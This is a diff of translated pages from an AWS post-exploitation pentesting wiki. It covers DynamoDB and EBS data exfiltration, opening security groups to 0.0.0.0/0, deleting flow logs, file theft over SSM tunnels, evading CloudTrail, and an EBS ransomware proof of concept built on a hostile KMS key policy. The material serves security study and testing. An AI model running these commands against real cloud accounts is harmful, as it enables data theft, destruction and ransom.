ストリームへの読み取り権限:`kinesis:*` +最小権限(攻撃者): +- ターゲットテーブルに対する `dynamodb:EnableKinesisStreamingDestination` +- オプションでステータス監視用の `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` +- レコードを消費するために攻撃者所有の Kinesis ストリームに対する読み取り権限: `kinesis:*`
PoC (us-east-1) @@ -529,10 +528,45 @@ aws dynamodb disable-kinesis-streaming-destination \ aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true ``` +### `dynamodb:UpdateTimeToLive` + +dynamodb:UpdateTimeToLive の権限を持つ攻撃者は、テーブルの TTL(time-to-live)設定を変更し、TTL を有効化または無効化できます。TTL が有効な場合、設定された TTL 属性を含む個々のアイテムは、有効期限に達すると自動的に削除されます。TTL 値は各アイテム上の単なる属性にすぎません。その属性を持たないアイテムは TTL による削除の影響を受けません。 + +アイテムがまだ TTL 属性を含んでいない場合、攻撃者は TTL 属性を追加して大量削除を引き起こすために、アイテムを更新する権限(例えば dynamodb:UpdateItem)も必要になります。 + +まずテーブルで TTL を有効にし、有効期限に使用する属性名を指定します: +```bash +aws dynamodb update-time-to-live \ +--table-name \ +--time-to-live-specification "Enabled=true, AttributeName=" +``` +次に、アイテムを更新して TTL 属性 (epoch seconds) を追加し、期限切れになって削除されるようにします: +```bash +aws dynamodb update-item \ +--table-name \ +--key '' \ +--update-expression "SET = :t" \ +--expression-attribute-values '{":t":{"N":""}}' +``` +### `dynamodb:RestoreTableFromAwsBackup` & `dynamodb:RestoreTableToPointInTime` + +dynamodb:RestoreTableFromAwsBackup または dynamodb:RestoreTableToPointInTime の権限を持つ攻撃者は、元のテーブルを上書きすることなく、バックアップや point-in-time recovery (PITR) から復元した新しいテーブルを作成できます。復元されたテーブルには選択した時点のデータの完全なイメージが含まれるため、攻撃者はそれを使って過去の情報を exfiltrate したり、データベースの過去の状態の完全な dump を取得したりできます。 + +オンデマンドバックアップからDynamoDBテーブルを復元する: +```bash +aws dynamodb restore-table-from-backup \ +--target-table-name \ +--backup-arn +``` +DynamoDB テーブルをポイントインタイムで復元する(復元された状態で新しいテーブルを作成する): +```bash +aws dynamodb restore-table-to-point-in-time \ +--source-table-name \ +--target-table-name \ +--use-latest-restorable-time +````
-**潜在的影響:** テーブルに対する直接の読み取り操作を行わずに、攻撃者が管理する Kinesis ストリームへテーブルの変更を継続的かつほぼリアルタイムで流出させる。 - - +**Potential Impact:** テーブルの変更が攻撃者が制御する Kinesis ストリームへ、テーブルへの直接の読み取り操作を行うことなく、継続的かつほぼリアルタイムで exfiltration される。 {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md index f447bb22a..3073f4f59 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md @@ -4,7 +4,7 @@ ## EC2 & VPC -For more information check: +詳細は次を確認してください: {{#ref}} ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -12,19 +12,17 @@ For more information check: ### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` -VPC traffic mirroring は、インスタンス自体に何もインストールする必要なく、**VPC 内の EC2 インスタンスの着信および発信トラフィックを複製します**。 -複製されたトラフィックは通常、分析や監視のために network intrusion detection system (IDS) のようなものに送られます。 -攻撃者はこれを悪用して全てのトラフィックをキャプチャし、そこから機密情報を取得する可能性があります: +VPC トラフィックミラーリングは、インスタンス自体に何もインストールする必要なく、VPC 内の EC2 インスタンスのインバウンドおよびアウトバウンドのトラフィックを複製します。複製されたトラフィックは通常、解析や監視のために IDS のようなネットワーク侵入検知システムに送られます。攻撃者はこれを悪用してすべてのトラフィックをキャプチャし、機密情報を取得することができます: -For more information check this page: +詳細はこのページを確認してください: {{#ref}} aws-malicious-vpc-mirror.md {{#endref}} -### Copy Running Instance +### 実行中インスタンスのコピー -インスタンスには通常何らかの機密情報が含まれています。内部に入る方法はいくつかあります(詳細は [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md) を参照)。しかし、含まれているものを確認する別の方法として、**AMI を作成してそこから新しいインスタンスを起動する(自分のアカウント内でも可)**: +インスタンスには通常、何らかの機密情報が含まれています。中に入る方法はいくつかあります(check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md))。しかし、その内容を確認する別の方法は、**AMI を作成してそこから新しいインスタンス(自分のアカウントでも可)を起動すること**です: ```shell # List instances aws ec2 describe-images @@ -50,8 +48,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west ``` ### EBS Snapshot dump -**Snapshots are backups of volumes** は通常 **機密情報** を含むため、確認することでこれらの情報が明らかになります。 -もし **volume without a snapshot** を見つけたら、**Create a snapshot** を作成して以下の操作を行うか、またはアカウント内のインスタンスに**mount it in an instance**するだけでもよいです: +**Snapshots are backups of volumes**, which usually will contain **sensitive information**, therefore checking them should disclose this information.\ +If you find a **volume without a snapshot** you could: **Create a snapshot** and perform the following actions or just **mount it in an instance** inside the account: {{#ref}} aws-ebs-snapshot-dump.md @@ -59,7 +57,7 @@ aws-ebs-snapshot-dump.md ### Covert Disk Exfiltration via AMI Store-to-S3 -EC2 AMI を `CreateStoreImageTask` を使って直接 S3 にエクスポートし、snapshot sharing を介さずに生のディスクイメージを取得します。これによりインスタンスのネットワーク設定を変更せずに、オフラインでの完全なフォレンジックやデータ窃取が可能になります。 +Export an EC2 AMI straight to S3 using `CreateStoreImageTask` to obtain a raw disk image without snapshot sharing. This allows full offline forensics or data theft while leaving the instance networking untouched. {{#ref}} aws-ami-store-s3-exfiltration.md @@ -67,7 +65,7 @@ aws-ami-store-s3-exfiltration.md ### Live Data Theft via EBS Multi-Attach -io1/io2 の Multi-Attach ボリュームを別のインスタンスにアタッチし、読み取り専用でマウントしてスナップショットを取らずにライブデータを吸い上げます。被害者のボリュームが同じ AZ 内で既に Multi-Attach が有効になっている場合に有用です。 +Attach an io1/io2 Multi-Attach volume to a second instance and mount it read-only to siphon live data without snapshots. Useful when the victim volume already has Multi-Attach enabled within the same AZ. {{#ref}} aws-ebs-multi-attach-data-theft.md @@ -75,7 +73,7 @@ aws-ebs-multi-attach-data-theft.md ### EC2 Instance Connect Endpoint Backdoor -EC2 Instance Connect Endpoint を作成し、ingress を許可して一時的な SSH キーを注入することで、managed tunnel 経由でプライベートインスタンスにアクセスできます。パブリックポートを開けずに迅速な横移動経路を確保します。 +Create an EC2 Instance Connect Endpoint, authorize ingress, and inject ephemeral SSH keys to access private instances over a managed tunnel. Grants quick lateral movement paths without opening public ports. {{#ref}} aws-ec2-instance-connect-endpoint-backdoor.md @@ -83,7 +81,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md ### EC2 ENI Secondary Private IP Hijack -被害者の ENI のセカンダリ private IP を攻撃者が制御する ENI に移動し、IP で allowlisted された信頼済みホストを偽装します。特定アドレスに紐づく内部 ACL や SG ルールを回避できます。 +Move a victim ENI’s secondary private IP to an attacker-controlled ENI to impersonate trusted hosts that are allowlisted by IP. Enables bypassing internal ACLs or SG rules keyed to specific addresses. {{#ref}} aws-eni-secondary-ip-hijack.md @@ -91,7 +89,7 @@ aws-eni-secondary-ip-hijack.md ### Elastic IP Hijack for Ingress/Egress Impersonation -被害者インスタンスから Elastic IP を攻撃者側に再関連付けすることで、着信トラフィックを傍受したり、信頼されたパブリック IP から来ているように見える発信接続を行えます。 +Reassociate an Elastic IP from the victim instance to the attacker to intercept inbound traffic or originate outbound connections that appear to come from trusted public IPs. {{#ref}} aws-eip-hijack-impersonation.md @@ -99,7 +97,7 @@ aws-eip-hijack-impersonation.md ### Security Group Backdoor via Managed Prefix Lists -Security Group のルールが customer-managed prefix list を参照している場合、攻撃者の CIDR をそのリストに追加するだけで、SG 本体を変更せずに依存するすべての SG ルールへのアクセスが静かに拡大します。 +If a security group rule references a customer-managed prefix list, adding attacker CIDRs to the list silently expands access across every dependent SG rule without modifying the SG itself. {{#ref}} aws-managed-prefix-list-backdoor.md @@ -107,15 +105,41 @@ aws-managed-prefix-list-backdoor.md ### VPC Endpoint Egress Bypass -gateway または interface の VPC endpoint を作成して、分離されたサブネットからのアウトバウンドアクセスを取り戻します。AWS-managed private links を利用することで、IGW/NAT が無い制御をバイパスしてデータ exfiltration を行えます。 +Create gateway or interface VPC endpoints to regain outbound access from isolated subnets. Leveraging AWS-managed private links bypasses missing IGW/NAT controls for data exfiltration. {{#ref}} aws-vpc-endpoint-egress-bypass.md {{#endref}} +### `ec2:AuthorizeSecurityGroupIngress` + +An attacker with the ec2:AuthorizeSecurityGroupIngress permission can add inbound rules to security groups (for example, allowing tcp:80 from 0.0.0.0/0), thereby exposing internal services to the public Internet or to otherwise unauthorized networks. +```bash +aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0 +``` +# `ec2:ReplaceNetworkAclEntry` +ec2:ReplaceNetworkAclEntry(または同等の)権限を持つ攻撃者は、サブネットの Network ACLs (NACLs) を変更して非常に緩い設定にすることができます。例えば、重要なポートで 0.0.0.0/0 を許可すると、サブネット全体の範囲がインターネットや不正なネットワークセグメントにさらされます。Security Groups はインスタンス単位で適用されるのに対し、NACLs はサブネット単位で適用されるため、制限的な NACL を変更すると、はるかに多くのホストへのアクセスが可能になり、被害範囲が大きくなります。 +```bash +aws ec2 replace-network-acl-entry \ +--network-acl-id \ +--rule-number 100 \ +--protocol \ +--rule-action allow \ +--egress \ +--cidr-block 0.0.0.0/0 +``` +### `ec2:Delete*` + +ec2:Delete* と iam:Remove* 権限を持つ攻撃者は、キーペア、launch templates/versions、AMIs/snapshots、ボリュームやアタッチメント、security groups やルール、ENIs/network endpoints、ルートテーブル、ゲートウェイ、managed endpoints などの重要なインフラリソースや設定を削除できます。これにより即時のサービス停止、データ損失、フォレンジック証拠の喪失が発生する可能性があります。 + +One example is deleting a security group: + +aws ec2 delete-security-group \ +--group-id + ### VPC Flow Logs Cross-Account Exfiltration -VPC Flow Logs を攻撃者が管理する S3 バケットに向けることで、被害者アカウントの外でネットワークメタデータ(送信元/宛先、ポート等)を継続的に収集し、長期的な偵察を行えます。 +VPC Flow Logs を攻撃者が管理する S3 バケットに向けることで、被害者アカウントの外部にネットワークメタデータ(送信元/宛先、ポート)を継続的に収集し、長期的な偵察に利用できます。 {{#ref}} aws-vpc-flow-logs-cross-account-exfiltration.md @@ -125,43 +149,43 @@ aws-vpc-flow-logs-cross-account-exfiltration.md #### DNS Exfiltration -たとえ EC2 を外部通信禁止にしても、**exfil via DNS** は可能です。 +たとえ EC2 をロックダウンして外部へのトラフィックを遮断しても、それでも **exfil via DNS** は可能です。 - **VPC Flow Logs はこれを記録しません。** -- AWS の DNS ログにはアクセスできません。 -- これを無効化するには "enableDnsSupport" を false に設定します: +- あなたは AWS の DNS ログにアクセスできません。 +- これを無効にするには、"enableDnsSupport" を false に設定します(例): `aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id ` #### Exfiltration via API calls -攻撃者は自分が制御するアカウントの API エンドポイントを呼び出すことができます。Cloudtrail はこれらの呼び出しをログに記録するため、攻撃者は Cloudtrail ログ内で流出したデータを確認できます。 +攻撃者は自身が管理するアカウントの API エンドポイントを呼び出すことができます。Cloudtrail はこれらの呼び出しをログに記録するため、攻撃者は Cloudtrail ログで exfiltrate data を確認できます。 ### Open Security Group -このようにポートを開くことでネットワークサービスへのさらなるアクセスを得られます: +このようにポートを開くことで、ネットワークサービスへの追加アクセスを得ることができます: ```bash aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC ``` ### Privesc to ECS -EC2インスタンスを実行して登録し、それを使ってECSインスタンスを実行させたあとに、ECSインスタンスのデータを盗むことが可能です。 +EC2 インスタンスを起動して、それを ECS インスタンスの実行に使用するよう登録し、ECS インスタンスのデータを盗むことが可能です。 -詳細は[**こちらを確認**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs)。 +For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs). -### VPC flow logs を削除 +### VPC flow logs を削除する ```bash aws ec2 delete-flow-logs --flow-log-ids --region ``` ### SSM Port Forwarding -Required permissions: +必要な権限: - `ssm:StartSession` -In addition to command execution, SSM allows for traffic tunneling which can be abused to pivot from EC2 instances that do not have network access because of Security Groups or NACLs. -One of the scenarios where this is useful is pivoting from a [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) to a private EKS cluster. +コマンド実行に加えて、SSM はトラフィックのトンネリングを可能にします。これを悪用して、Security Groups や NACLs によりネットワークアクセスがない EC2 インスタンスから pivot することができます。 +有用なシナリオの一つは、[Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) からプライベートな EKS クラスターへ pivot するケースです。 > セッションを開始するには SessionManagerPlugin がインストールされている必要があります: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html @@ -170,54 +194,54 @@ One of the scenarios where this is useful is pivoting from a [Bastion Host](http ```shell aws ssm start-session --target "$INSTANCE_ID" ``` -3. Bastion EC2 の AWS 一時認証情報を [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) スクリプトで取得する -4. 認証情報を自分のマシンの `$HOME/.aws/credentials` ファイルに `[bastion-ec2]` プロファイルとして転送する +3. Bastion EC2 の AWS 一時認証情報を [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) スクリプトで取得する +4. 認証情報を自分のマシンの `$HOME/.aws/credentials` ファイルに `[bastion-ec2]` プロファイルとして転送する 5. Bastion EC2 として EKS にログインする: ```shell aws eks update-kubeconfig --profile bastion-ec2 --region --name ``` -6. `$HOME/.kube/config` ファイルの `server` フィールドを `https://localhost` を指すように更新する -7. 以下のようにSSMトンネルを作成する: +6. `$HOME/.kube/config` ファイル内の `server` フィールドを `https://localhost` を指すように更新する +7. 次のように SSM トンネルを作成する: ```shell sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":[""],"portNumber":["443"], "localPortNumber":["443"]}' --region ``` -8. `kubectl` ツールからのトラフィックは Bastion EC2 経由で SSM トンネルを通して転送されるようになり、次のコマンドを実行することで自分のマシンから private EKS cluster にアクセスできます: +8. `kubectl` ツールからのトラフィックは現在、Bastion EC2 経由の SSM トンネルを通してフォワードされており、次のコマンドを実行することで自分のマシンからプライベート EKS クラスターにアクセスできます: ```shell kubectl get pods --insecure-skip-tls-verify ``` -注意:SSL 接続は `--insecure-skip-tls-verify ` フラグ(または K8s audit tools の同等の設定)を指定しないと失敗します。トラフィックはセキュアな AWS SSM トンネルを経由しているため、MitM 攻撃の心配はありません。 +Note that the SSL connections will fail unless you set the `--insecure-skip-tls-verify ` flag (or its equivalent in K8s audit tools). Seeing that the traffic is tunnelled through the secure AWS SSM tunnel, you are safe from any sort of MitM attacks. -最後に、この手法は private EKS clusters を攻撃することに特化したものではありません。任意のドメインやポートを設定して、他の AWS サービスやカスタムアプリケーションへピボットできます。 +最後に、この手法は private EKS クラスターを攻撃することに特化したものではありません。任意のドメインやポートを設定して、他の AWS サービスやカスタムアプリケーションにピボットできます。 --- -#### クイック ローカル ↔️ リモート ポート転送 (AWS-StartPortForwardingSession) +#### Quick Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession) -もし EC2 インスタンスからローカルホストへ **一つの TCP ポートだけを転送** したい場合は、`AWS-StartPortForwardingSession` SSM ドキュメントを使用できます(リモートホストパラメータは不要です): +EC2 インスタンスからローカルホストへ**1つの TCP ポートだけを転送**する必要がある場合は、`AWS-StartPortForwardingSession` SSM ドキュメントを使用できます(remote host パラメータは不要です): ```bash aws ssm start-session --target i-0123456789abcdef0 \ --document-name AWS-StartPortForwardingSession \ --parameters "portNumber"="8000","localPortNumber"="8000" \ --region ``` -このコマンドは、ワークステーション(`localPortNumber`)とインスタンス上の選択したポート(`portNumber`)の間に双方向トンネルを確立します(**without opening any inbound Security-Group rules**)。 +The command establishes a bidirectional tunnel between your workstation (`localPortNumber`) and the selected port (`portNumber`) on the instance **without opening any inbound Security-Group rules**. -よくあるユースケース: +主なユースケース: * **File exfiltration** -1. インスタンス上で、exfiltrateしたいディレクトリを指す簡易HTTPサーバーを起動します: +1. インスタンス上で、exfiltrate したいディレクトリを指す簡易 HTTP サーバを起動します: ```bash python3 -m http.server 8000 ``` -2. ワークステーションからSSMトンネル経由でファイルを取得します: +2. 作業用ワークステーションから SSM トンネル経由でファイルを取得します: ```bash curl http://localhost:8000/loot.txt -o loot.txt ``` -* **内部のウェブアプリケーションへのアクセス(例: Nessus)** +* **内部ウェブアプリケーションへアクセス(例: Nessus)** ```bash # Forward remote Nessus port 8834 to local 8835 aws ssm start-session --target i-0123456789abcdef0 \ @@ -225,28 +249,28 @@ aws ssm start-session --target i-0123456789abcdef0 \ --parameters "portNumber"="8834","localPortNumber"="8835" # Browse to http://localhost:8835 ``` -ヒント: 証拠は exfiltrating する前に Compress および encrypt しておき、CloudTrail が clear-text content を log しないようにする: +ヒント: 証拠を exfiltrating する前に圧縮して暗号化し、CloudTrail が clear-text content をログに残さないようにしてください: ```bash # On the instance 7z a evidence.7z /path/to/files/* -p'Str0ngPass!' ``` -### AMI を共有する +### AMI を共有 ```bash aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region ``` -### 公開およびプライベートな AMIs 内の機密情報を検索する +### パブリックおよびプライベートの AMIs で機密情報を検索 -- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel は **公開またはプライベートな Amazon Machine Images (AMIs) 内の機密情報を検索する** ために設計されたツールです。ターゲット AMIs からインスタンスを起動し、それらのボリュームをマウントして、潜在的なシークレットや機密データをスキャンするプロセスを自動化します。 +- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel は、**パブリックまたはプライベートの Amazon Machine Images (AMIs) 内の機密情報を検索する**ためのツールです。対象の AMIs からインスタンスを起動し、ボリュームをマウントして、潜在的なシークレットや機密データをスキャンする処理を自動化します。 -### EBS Snapshot を共有する +### EBS Snapshot を共有 ```bash aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Add=[{UserId=}]" --region ``` ### EBS Ransomware PoC -S3 post-exploitation notesで示したRansomwareデモに似たproof of conceptです。KMSは、様々なAWSサービスを簡単に暗号化するのに使えることからRMS(Ransomware Management Service)と呼び換えるべきでしょう。 +S3 post-exploitation notes で示した Ransomware デモと類似した概念実証です。KMS は、その容易さから Ransomware Management Service(RMS)と呼ぶべきでしょう。さまざまな AWS サービスを暗号化するのに簡単に使えるためです。 -まず、'attacker' AWSアカウントからKMSにcustomer managed keyを作成します。この例ではAWSにキーのデータを管理させますが、現実的にはmalicious actorがキー情報をAWSの管理外に保持するでしょう。キーのポリシーを変更して、任意のAWSアカウントPrincipalがキーを使用できるようにします。このキー・ポリシーでは、アカウント名は 'AttackSim' で、すべてのアクセスを許可するポリシールールは 'Outside Encryption' と呼ばれていました。 +まず 'attacker' AWS アカウントから、KMS に customer managed key を作成します。この例ではキーのデータは AWS に管理させますが、現実的なシナリオでは悪意のあるアクターがキーのデータを AWS の管理外に保持するでしょう。キーのポリシーを変更して、任意の AWS アカウント Principal がそのキーを使用できるようにします。今回のキー・ポリシーではアカウント名が 'AttackSim' で、全アクセスを許可するポリシールールは 'Outside Encryption' と呼ばれています。 ``` { "Version": "2012-10-17", @@ -338,7 +362,7 @@ S3 post-exploitation notesで示したRansomwareデモに似たproof of concept ] } ``` -キー ポリシー ルールには、EBS ボリュームを暗号化するために使用できるように次が有効になっている必要があります: +The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume: - `kms:CreateGrant` - `kms:Decrypt` @@ -346,21 +370,21 @@ S3 post-exploitation notesで示したRansomwareデモに似たproof of concept - `kms:GenerateDataKeyWithoutPlainText` - `kms:ReEncrypt` -Now with the publicly accessible key to use. 'victim' アカウントを使用できます。そこには未暗号化の EBS ボリュームがアタッチされた EC2 インスタンスがいくつか起動しています。暗号化の対象はこの 'victim' アカウントの EBS ボリュームであり、この攻撃は高権限の AWS アカウントが侵害されたという想定の下で行われます。 +公開アクセス可能なキーが使える状態になったら、アン暗号化された EBS ボリュームがアタッチされた EC2 インスタンスを持つ 'victim' アカウントを利用できます。 この 'victim' アカウントの EBS ボリュームを暗号化の標的にします。この攻撃は、高権限の AWS アカウントが侵害された想定の下で行われます。 ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459) -S3 ransomware の例と同様に、この攻撃ではアタッチされている EBS ボリュームのコピーを snapshots を使って作成し、'attacker' アカウントから公開されているキーを使って新しい EBS ボリュームを暗号化し、元の EBS ボリュームを EC2 インスタンスからデタッチして削除し、最後に新しく暗号化された EBS ボリュームを作成するために使用した snapshots を削除します。 ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) +S3 ransomware の例と類似しています。 この攻撃では、スナップショットを使ってアタッチされている EBS ボリュームのコピーを作成し、'attacker' アカウントの公開されているキーを使って新しい EBS ボリュームを暗号化します。 次に元の EBS ボリュームを EC2 インスタンスからデタッチして削除し、最後に新しく暗号化した EBS ボリュームを作成するために使用したスナップショットを削除します。 ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) -その結果、アカウント内には暗号化された EBS ボリュームのみが残ります。 +結果として、アカウント内に残るのは暗号化された EBS ボリュームのみになります。 ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220) -また補足として、スクリプトは元の EBS ボリュームをデタッチして削除するために EC2 インスタンスを停止しました。元の未暗号化ボリュームはすでに消えています。 +また、スクリプトは元の EBS ボリュームをデタッチして削除するために EC2 インスタンスを停止したことにも注意してください。元の暗号化されていないボリュームは現在消失しています。 ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e) -次に、'attacker' アカウントのキー ポリシーに戻り、キー ポリシーから 'Outside Encryption' ポリシー ルールを削除します。 +次に、'attacker' アカウントのキー ポリシーに戻り、キー ポリシーから 'Outside Encryption' ポリシールールを削除します。 ```json { "Version": "2012-10-17", @@ -431,15 +455,15 @@ S3 ransomware の例と同様に、この攻撃ではアタッチされている ] } ``` -新しく設定したキーのポリシーが伝搬するまで少し待ちます。次に 'victim' アカウントに戻り、新しく暗号化された EBS ボリュームのうちの一つをアタッチしてみてください。ボリュームをアタッチできることがわかります。 +新しく設定した key policy が伝播するのを少し待ちます。次に 'victim' アカウントに戻り、新たに暗号化された EBS ボリュームのうちの1つをアタッチしてみてください。ボリュームをアタッチできることが確認できるでしょう。 ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4) -しかし、暗号化された EBS ボリュームを使って EC2 インスタンスを実際に再起動しようとすると、キーのポリシーがもはや許可していないため、アタッチされている EBS ボリュームをキーで復号できず、インスタンスは 'pending' 状態から 'stopped' 状態に戻り続けて失敗します。 +しかし、暗号化された EBS ボリュームを付けたまま EC2 インスタンスを実際に起動しようとすると失敗し、'pending' 状態からずっと 'stopped' 状態に戻ってしまいます。これは、アタッチされた EBS ボリュームを復号するための key が key policy によって許可されなくなっているためです。 ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0) -これは使用した python スクリプトです。'victim' アカウントの AWS creds と、暗号化に使用するための公開されている AWS ARN 値を受け取ります。スクリプトは、対象の AWS アカウント内のすべての EC2 インスタンスにアタッチされている利用可能な ALL の EBS ボリュームの暗号化コピーを作成し、その後すべての EC2 インスタンスを停止して元の EBS ボリュームをデタッチして削除し、最終的にプロセス中に使用したすべてのスナップショットを削除します。これにより、対象の 'victim' アカウントには暗号化された EBS ボリュームのみが残ります。テスト環境でのみこのスクリプトを使用してください。破壊的であり、元のすべての EBS ボリュームを削除します。使用した KMS key を使ってスナップショットから元の状態に復元することは可能ですが、最終的にはこれは ransomware PoC であることを認識してください。 +これは使用した python スクリプトです。スクリプトは 'victim' アカウントの AWS creds と、暗号化に使用する公開されている AWS ARN 値を受け取ります。スクリプトは、対象の AWS アカウント内のすべての EC2 インスタンスにアタッチされている利用可能な EBS ボリュームのすべてについて暗号化されたコピーを作成し、その後すべての EC2 インスタンスを停止、元の EBS ボリュームをデタッチして削除し、最後に処理で使用したすべての snapshots を削除します。これにより、対象の 'victim' アカウントには暗号化された EBS ボリュームだけが残ります。テスト環境でのみこのスクリプトを使用してください。破壊的であり、元のすべての EBS ボリュームを削除します。使用した KMS key を使ってそれらを復旧し、snapshots 経由で元の状態に戻すことは可能ですが、最終的にはこれは ransomware PoC であることを認識しておいてください。 ``` import boto3 import argparse @@ -558,6 +582,6 @@ main() ``` ## 参考資料 -- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/) +- [Pentest Partners – AWS の SSM を使ってファイルを転送する方法](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/) {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md index b828a5089..65bc455de 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md @@ -12,13 +12,13 @@ For more information about IAM access: ## Confused Deputy Problem -もしあなたが **外部アカウント (A)** に自分のアカウント内の **role** へのアクセスを許可すると、**誰が正確にその外部アカウントにアクセスできるか** に関して **0の可視性** を持つことになり得ます。これは問題です。なぜなら別の外部アカウント (B) が外部アカウント (A) にアクセスできる場合、**B もあなたのアカウントにアクセスできる可能性がある**からです。 +もしあなたが自分のアカウントの**role**へ**外部アカウント (A) を許可する**と、その外部アカウントに誰が正確にアクセスできるかについておそらく**0の可視性**になります。これは問題です。なぜなら別の外部アカウント (B) が外部アカウント (A) にアクセスできる場合、**B があなたのアカウントにもアクセスできてしまう可能性がある**からです。 -したがって、自分のアカウントの role へのアクセスを外部アカウントに許可する際に、`ExternalId` を指定することができます。これは外部アカウント (A) が組織内で assume the role するために指定する必要がある「秘密」の文字列です。外部アカウント B がこの文字列を知らない場合、たとえ B が A へのアクセス権を持っていても、あなたの role にアクセスすることはできません。 +したがって、あなたのアカウントのroleへ外部アカウントをアクセスさせる際に、`ExternalId` を指定することができます。これは外部アカウント (A) が**assume the role in your organization**するために**指定する必要がある**「秘密」文字列です。**外部アカウント B はこの文字列を知らない**ため、たとえ B が A にアクセスできても、**あなたのroleにアクセスできません**。
-ただし、この `ExternalId` の「秘密」は **秘密ではありません**。`IAM assume role policy` を読める人なら誰でもそれを見ることができます。しかし、外部アカウント A がその値を知っていて、外部アカウント **B がそれを知らない** 限り、**B が A を悪用してあなたの role にアクセスするのを防ぐ**ことができます。 +ただし、この `ExternalId` の「秘密」は**秘密ではない**点に注意してください。`IAM assume role policy` を**読むことができる人なら誰でもそれを見ることができます**。しかし、外部アカウント A がそれを知っており、外部アカウント **B がそれを知らない**限り、**B が A を悪用してあなたのroleにアクセスするのを防ぎます**。 例: ```json @@ -39,7 +39,7 @@ For more information about IAM access: } ``` > [!WARNING] -> 攻撃者が confused deputy を悪用するには、現在のアカウントの principals が他のアカウントの roles を impersonate できるかどうかを何らかの方法で見つける必要がある。 +> 攻撃者が confused deputy を悪用するには、現在のアカウントの principals が他のアカウントの roles を偽装できるかどうかを何らかの方法で特定する必要がある。 ### 予期しない信頼関係 @@ -51,7 +51,7 @@ For more information about IAM access: "Principal": { "AWS": "*" } } ``` -このポリシーは **すべての AWS** がロールを引き受けることを許可します。 +このポリシーは **すべての AWS** にロールの引き受けを許可します。 #### サービスをプリンシパルとして ```json 